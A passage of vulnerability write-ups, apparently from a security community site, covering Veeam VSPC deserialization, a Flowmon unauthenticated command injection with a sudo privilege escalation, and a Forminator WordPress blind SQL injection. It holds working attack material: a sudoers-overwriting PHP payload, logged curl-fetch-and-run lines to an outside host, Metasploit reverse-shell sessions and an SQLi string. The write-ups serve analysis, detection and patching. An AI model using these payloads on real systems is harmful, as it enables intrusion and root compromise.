			bool flag = childEntitiesClone.Any((BaseEntity a) => a.GetType() == oldChild.GetType());
			if (!alwaysAlive || flag)
			{
				oldChild.Delete();
			}
		}
		foreach (KeyValuePair<string, EntityDataModelDbNode> item in dictionary)
		{
			EntityDataModelDbNode value2 = item.Value;
			Log.Verbose("{0} was added", value2.SystemName);
			value2.CloneNode(oldEntity);
		}
	}

Summarizing Exploitation

Based on what we’ve seen in static analysis, the exploitation flow probably looks something like this:

  • Authenticate to the server as a client or hijack an existing authenticated agent connection.
  • Target the backup server (managed by the provider) with a serialized payload, scoped to be handled by the receiver’s custom BinarySerializerVulnerabilityFilter. VSPC Server deserializes client-provided data in a number of different places and relies on the filtering to catch unsafe types, so there are likely multiple possible deserialization sinks.
  • Before the first patch, the serialized payload’s type will likely contain the string “Veeam” and be related to the BackupObject type.
  • After the second patch, if exploitation is still viable, exploit attempts will likely attempt to confuse .NET type name parsing to get a malicious object deserialized.

Interacting with VSPC Server

As an addendum, though most of this analysis is based on static code review, I also want to summarize some information I’ve learned about the VSPC communication protocol for TCP ports 1989 and 9999. When VSPC Server receives a new connection from the client, it expects two bytes, a Veeam “type” byte and a “version” byte, followed by some XML data with the XML string length prepended as a 7-bit integer. The XML object, which should be a Connector for the first interaction, can specify a connectTo receiver, as well as a gate to interact with. For example, opening a new channel can be performed by decoding and sending the following data to port 1989.

AgXTAQo8Q29ubmVjdG9yPgo8Y29ubmVjdFRvIHJlY2VpdmVyPSJSZWNlaXZlclY0Ij4KPGdhdGUgbmFtZT
0iQXV0aGVudGljYXRlZCIgdGltZW91dD0iMTIwMDAwIi8+CjwvY29ubmVjdFRvPgo8ZW5kcG9pbnQ+Cjx2
ZXJzaW9uPjU8L3ZlcnNpb24+CjwvZW5kcG9pbnQ+Cjxjb25uZWN0aW9uVHlwZT5Ob3JtYWw8L2Nvbm5lY3
Rpb25UeXBlPgo8ZGF0YS8+CjwvQ29ubmVjdG9yPgo

Decoded, the XML string included above defines an XML Connector object, which specifies a ReceiverV4 receiver for post-authenticated interactions. This type seems to be affiliated with ReceiverWrapper, which is the class that sets up the custom serialization filter that was patched.

<Connector>
<connectTo receiver="ReceiverV4">
<gate name="Authenticated" timeout="120000"/>
</connectTo>
<endpoint>
<version>5</version>
</endpoint>
<connectionType>Normal</connectionType>
<data/>
</Connector>

With a new connection open, the server should return a response containing a GUID for a new channel.

<Response status="Ok"><attributes><attr name="channelId" value="f9f1ab9c-b78f-46ed-b28b-be6b012e0afd" /><attr name="protocolVersion" value="5" /></attributes></Response>

The server will then upgrade the unencrypted connection to an encrypted connection and perform a handshake and authentication flow.

3
Ratings
Technical Analysis

Progress Flowmon is a network performance monitoring and security solution developed by Progress Software. It is designed to provide detailed visibility into network traffic and performance, helping organizations to monitor, analyze, and secure their networks effectively.

In Flowmon versions prior to 11.1.14 and 12.3.5, an OS command injection vulnerability exists allowing unauthenticated users to execute code in the context of the flowmon user. The vulnerable endpoint which is accessible without authentication is /service.pdfs/confluence. This endpoint is used to generate PDFs for the application and accepts three parameters when targeted with a GET request.

The parameters that the GET request expects, as seen below, are lang, file and pluginPath.

The pluginPath parameter doesn’t get sanitized and then gets used to build a $url path:

The unsanitized $url string gets sent to the $pdfGenerator->generate() method. This method eventually calls the run($command) method inside /var/www/app/flowmon/models/Exec.php which is a wrapper for running system commands which attempts to generate the PDF with the supplied parameters.

See how it only sends one $command argument to the run function? This is the crux of the vulnerability which we will explore further in a moment.

A couple things to note here. First, the ironic function definition which states Should prevent cli injection

What’s interesting is that if this function was used in the way it was intended, the pluginPath parameter likely wouldn’t be exploitable. The run function accepts a second parameter which is an array of command arguments which are enclosed in quotes using the escapeshellarg() function which does indeed prevent cli injection.

However, the vulnerability exists because when the command is passed to the run function, it is passed as a long string into the first $command parameter and does not make use of the $command_args array which gets sanitized. Due to this it’s possible to escape the command using: $(<aribitrary command here>) which allows you to execute commands in the context of the flowmon user.

Priv Escalation pairing list

What better to complement a command injection exploit than a privilege escalation technique which was left unpatched by the vendor.

The flowmon user on affected devices are allowed to run a long list of commands with sudo privileges. Below is an excerpt, run sudo -l to see the full list:

    (root) NOPASSWD: /usr/sbin/lshw
    (root) NOPASSWD: /opt/MegaRAID/MegaCli/MegaCli64
    (root) NOPASSWD: /etc/invea-tech/hanic/hanic-flowmon
    (root) NOPASSWD: /sbin/ip route
    (root) NOPASSWD: /usr/local/bin/remote_storage
    (root) NOPASSWD: /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *
    (root) NOPASSWD: /etc/plugins/*/* *
    (root) NOPASSWD: /usr/bin/net-snmp-config *
    (root) NOPASSWD: /sbin/ip6tables
    (root) NOPASSWD: /etc/init.d/fmd-widget-data
    (root) NOPASSWD: /usr/sbin/SHC/self-health-checker.sh

The command we’re interested in exploiting is:

/usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource *

Simply because we have write access to the file index.php which will get executed by /usr/bin/php with root privileges.

ls -l  /var/www/shtml/index.php
-rw-r--r-- 1 flowmon flowmon 1447 Jun 19 20:27 /var/www/shtml/index.php

What we can do is first back up the file index.php. Then overwrite it with a payload which gives unlimited sudo access to the flowmon user by appending the following to the sudoers file.

echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;

Then using the command mentioned above, run our payload which we overwrote to index.php.

sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;

Now we can drop whatever exploit we wish on to the target and run it with sudo:

sudo ./exploit_file.sh

IoCs

By default there is logging in place which will log each exploit attempt of the command injection vulnerability CVE-2024-2389
In the /var/www/log folder the exec-ui.log logs when a PDF is attempted to be generated and you can see below the $url parameter is injected with our payload from the metasploit module.

Payload in log line:

https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/192.168.101.78:8080\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&

Full log line:

./exec-ui.log:{"level":"info","requestId":"66677cd095e9a","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-06-11 00:23:41.038700","depth":1,"message":"Exec::run 'node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/LVdeSLLFVX http:\/\/192.168.101.78:8080\/AYs_LPTV8IDulSzceZilCA; chmod +x .\/LVdeSLLFVX; .\/LVdeSLLFVX &)\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_1uwPuy5q.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\"'","context":{"output":["2024-06-10T22:23:39.088Z - try to launch chromium","2024-06-10T22:23:39.547Z - Chromium is launched.","2024-06-10T22:23:39.548Z - Chromium open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print","2024-06-10T22:23:40.992Z - Chromium cannot open page with url: https:\/\/localhost\/doc\/\/locale\/lp0nMaG2\/index.html?file=1uwPuy5q.html&print.","Error log: Status of page is: 404","","Added to log file."],"ret":3,"command_args":[],"duration":"27069.765 ms"},"utime":1718058221.038748,"memory":2,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/models\/Exec.php","line":95}}

Also the process_logger.log log file will also contain similar traces of exploitation attempts as seen below:

./process_logger.log:{"level":"debug","requestId":"66571e8fbb307","requestName":"HTTP - \/service.pdfs\/confluence","timestamp":"2024-05-29 14:24:48.631800","depth":1,"message":"Command","context":["node \/var\/www\/shtml\/new-pdf-generator\/pageToPdf.js input=\"https:\/\/localhost\/doc\/$(curl -so .\/zLxWJANP http:\/\/192.168.50.78:8080\/Eprv7SVWQHIInVrWn0A4hg; chmod +x .\/zLxWJANP; .\/zLxWJANP &)\/locale\/0s8IAXCf\/index.html?file=eCGyQX4r.html&print\" output=\"\/var\/www\/shtml\/pdf-generator\/temp\/doc_eCGyQX4r.pdf\" format=\"pdf\" reportsBrandingColor=\"#32A64E\" lang=\"en\" maxAttemptWaitingPage=\"60\" generateNotCompleted=\"0\""],"utime":1716985488.6317589,"memory":12,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/ServiceModule\/PdfsModule\/models\/PdfGenerator.php","line":91}}

As for the privilege escalation vuln, it is a bit more difficult to determine if it has been exploited. The process_logger.log log file does indicate when the vulnerable sudo command gets called Cli\\:AddNewSource s but because we overwrite the index.php file in order to exploit this vuln, in the logs there’s no way of telling if this call to CliPresenter.php was malicious.

./process_logger.log:{"level":"info","requestId":"66677b9e439c1","requestName":"CLI - Cli:AddNewSource","timestamp":"2024-06-11 00:18:06.284900","depth":0,"message":"Cli:AddNewSource started","context":{"isDaEnabled":false,"isProxy":false,"isAssigned":false,"parameters":{"module":":","action":"AddNewSource"}},"utime":1718057886.2848589,"memory":18,"callee":{"project":"frontend","file":"\/var\/www\/app\/flowmon\/presenters\/CliPresenter.php","line":768}}

When the metasploit module exploits the priv esc it:

  1. Over writes /var/www/shtml/index.php
  2. Edits /etc/sudoers
  3. Drops a payload to disk

It creates a number of IoCs but it cleans them all up. In the event a malicious attacker exploits the priv esc in a similar fashion without using the metasploit and fails to clean up after themselves there would be some very obvious signs of exploitation. One being that if you fail to restore index.php (the page that you get redirected to immediately when navigating to the Progress Flomon’s HTTP server) you will be greeted by a page containing part of the exploit:

Attacker Value and Exploitability

It’s been some time since I gave a 5/5 for both attacker value and exploitability – though this exploit seems well deserving of both those ratings. I feel the attacker value is only heightened by the fact that the vendor decided not to acknowledge/ patch the priv esc. Both vulns are trivial to exploit and are exploitable without authentication. This one is a doozy, patching is recommended asap

Metasploit modules in action

Command injection

msf6 exploit(linux/http/progress_flowmon_unauth_cmd_injection) > show options

Module options (exploit/linux/http/progress_flowmon_unauth_cmd_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PRIVESC    true             yes       Automatically try privesc to add sudo entry
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.174.209.101  yes       The target host(s), see https://docs.metasploit.com/docs/using-meta sploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path to Flowmon
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP
                                                  , WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      TkHAXYbQwlH      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain space
                                                  s
   LHOST               138.111.211.11   yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/flowmon_unauth_cmd_injection) > run

[*] Started reverse TCP handler on 138.111.211.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.174.209.101:443 can be exploited!
[*] Detected version: 12.02.06
[+] The target is vulnerable. Version 12.02.06 is vulnerable.
[*] Attempting to execute payload...
[*] Meterpreter session 1 opened (138.111.211.11:4444 -> 172.174.209.101:48856) at 2024-05-01 15:22:24 +0000

meterpreter > sysinfo
Computer     : flowmon.my3m4o21xjze5fomtxp5e53h2h.bx.internal.cloudapp.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.76.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: flowmon

Privilege Escalation

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                  Connection
  --  ----  ----                   -----------                                  ----------
  5         meterpreter x64/linux  flowmon @ localhost.localdomain.localdomain  192.168.2.23:4444 -> 192.168.2.26:38328 (192.168.2.26)

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options

Module options (exploit/linux/local/progress_flowmon_sudo_privesc_2024):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION       -1               yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.23     yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run

[*] Started reverse TCP handler on 192.168.2.23:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 2 indicators this is a Progress Flowmon product
[!] The service is running, but could not be validated.
[*] Saving payload as /tmp/.fovaiiazfuhl
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.26
[+] Deleted /tmp/.fovaiiazfuhl
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400
[*] Restoring /var/www/shtml/index.php file contents...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

References

https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/

3
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

Forminator Wordpress plugin versions prior to 1.29.3 are vulnerable to SQL injection. After investigating the changes made in version 1.29.3, it is easy to see that no input sanitization was done on the order_by and order parameters before being concatenated to the SQL statement. This code lies in the get_filter_entries() function in library/model/class-form-entry-model.php:

		$order_by = 'ORDER BY entries.entry_id';
		if ( isset( $filters['order_by'] ) ) {
			$order_by = 'ORDER BY ' . esc_sql( $filters['order_by'] ); // unesacaped.
		}
		$order = 'DESC';
		if ( isset( $filters['order'] ) ) {
			$order = esc_sql( $filters['order'] );
		}

		// group.
		$group_by = 'GROUP BY entries.entry_id';

		$sql     = "SELECT entries.`entry_id` FROM {$table_name} entries
						INNER JOIN {$entries_meta_table_name} AS metas
    					ON (entries.entry_id = metas.entry_id)
 						WHERE {$where} {$group_by} {$order_by} {$order}";
		$results = $wpdb->get_results( $wpdb->prepare( $sql, $form_id ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

This function is called by _prepare_export_data() in library/class-export.php when exporting Quiz or Form data as a CSV or sent as an attachment via email. This code path is reached when filters like order or order_by are used in the query.

To demonstrate this, authenticate as an admin to access the Wordpress Admin Dashboard, go to /wp-admin/admin.php?page=forminator-entries, click on the filter button on the right hand side of the submission list, add some filters and click APPLY. The ones that interest us are Sort By and Sort Order. Then, click on EXPORT, select Apply Submission Filters in the Manual Exports section and click DOWNLOAD CSV.

This will send the following POST request:

POST /wp-admin/admin.php?page=forminator-entries&form_type=forminator_forms&form_id=7&entries-action&date_range&min_id&max_id&search&order_by=entries.date_created&order=DESC&entry_status=all&entries-action-bottom HTTP/1.1
Host: localhost:8080
Content-Length: 96
…[SNIP]...

forminator_export=1&form_id=7&form_type=cform&_forminator_nonce=ed27a59f8a&submission-filter=yes

It should return the submission entries in CSV format.

Now, let’s inject some SQL commands in the order_by parameter. According to the code, the vulnerable SQL query should not return anything in the response and we’ll need to go with blind SQLi. Since it will be concatenated to the ORDER BY clause, we will use the following query:

1,(select if((1=1),1,(select 1 union select 2)))

If the if condition is true, the submission entries should be returned. If it is false, an empty list should be returned:

  • True (1=1)
    True result
  • False (1=0)
    False result

More precisely, it is an Blind Error-Based SQLi, since a false statement will fail with an SQL error: ERROR 1242 (21000): Subquery returns more than 1 row

We now confirmed that SQLi is possible.

One big caveat to this attack is that each time a CSV is required, Forminator updates the forminator_exporter_log Wordpress option with a timestamp:

 124         $count = $export_data->entries_count;
 125         // save the time for later uses.
 126         $logs = get_option( 'forminator_exporter_log', array() );
 127         if ( ! isset( $logs[ $model->id ] ) ) {
 128             $logs[ $model->id ] = array();
 129         }
 130         $logs[ $model->id ][] = array(
 131             'time'  => current_time( 'timestamp' ),
 132             'count' => $count,
 133         );
 134         update_option( 'forminator_exporter_log', $logs );

This will cause Wordpress to update the forminator_exporter_log option value in the wp_options table each time a request is received. This code is not overwriting the previous timestamp but actually adding a new timestamp to the option each time a CSV is required. As a result, the forminator_exporter_log option value will increase in size each time it is updated.

This is not a big problem per se, but if binary logging is enabled (it is enabled by default from MySQL 8.0), each database update will add an event to the binary log file (binlog.*). Since a blind SQLi usually requires a lot of queries, the binary log files will increase exponentially and quickly fill out all the disk space on the MySQL server. This will end up causing a DoS (it happened to me many times while investigating).

To conclude, this vulnerability is relatively easy to exploit but requires privileged access to Wordpress in order to reach the Forminator CSV export functionality. Even with these privileges, it is very likely to cause a DoS before any useful data is retrieved from the database.